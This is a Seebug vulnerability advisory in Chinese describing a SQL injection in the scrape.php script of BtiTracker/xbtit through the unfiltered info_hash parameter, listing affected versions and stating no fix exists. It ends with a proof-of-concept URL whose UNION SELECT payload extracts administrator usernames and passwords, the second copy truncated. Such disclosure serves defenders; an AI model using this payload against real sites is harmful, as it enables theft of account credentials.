BtiTracker/xbtit 'scrape.php' SQL注入漏洞

2008-08-26T00:00:00
ID SSV:3917
Type seebug
Reporter Root
Modified 2008-08-26T00:00:00

Description

BUGTRAQ ID: 30811 CNCAN ID:CNCAN-2008082601

BtiTracker/xbtit是一款基于PHP的WEB应用程序。 BtiTracker/xbtit不正确处理用户提交的输入,远程攻击者可以利用漏洞进行SQL注入攻击,可能获得敏感信息或操作数据库。 问题由于'scrape.php'脚本对用户提交给'info_hash'变量缺少过滤,构建恶意SQL查询作为参数数据,可更改原来的SQL逻辑,获得敏感信息或操作数据库。

BtiTeam xbtit 2.0.542 BtiTeam xbtit 2.0 BtiTeam BtiTracker 1.4.7 BtiTeam BtiTracker 1.4.6 BtiTeam BtiTracker 1.4.5 BtiTeam BtiTracker 1.4.4 BtiTeam BtiTracker 1.4.3 BtiTeam BtiTracker 1.4.2 BtiTeam BtiTracker 1.4.1 BtiTeam BtiTracker 1.4.1 目前没有解决方案提供: <a href=https://sourceforge.net/projects/btit-tracker/ target=_blank>https://sourceforge.net/projects/btit-tracker/</a> <a href=http://www.xbtit.com/ target=_blank>http://www.xbtit.com/</a>

                                        
                                            
                                                http://www.example.com/scrape.php?info_hash=1%27)+UNION+SELECT+0,CONCAT(0x3C623E,username,0x3a,password,0x3C2F623E3C62723E),0,0+FROM+users+WHERE+id_level=8/*
http://www.example.com/scrape.php?info_hash=1%27)+UNION+SELECT+0,CONCAT(0x3C623E,username,0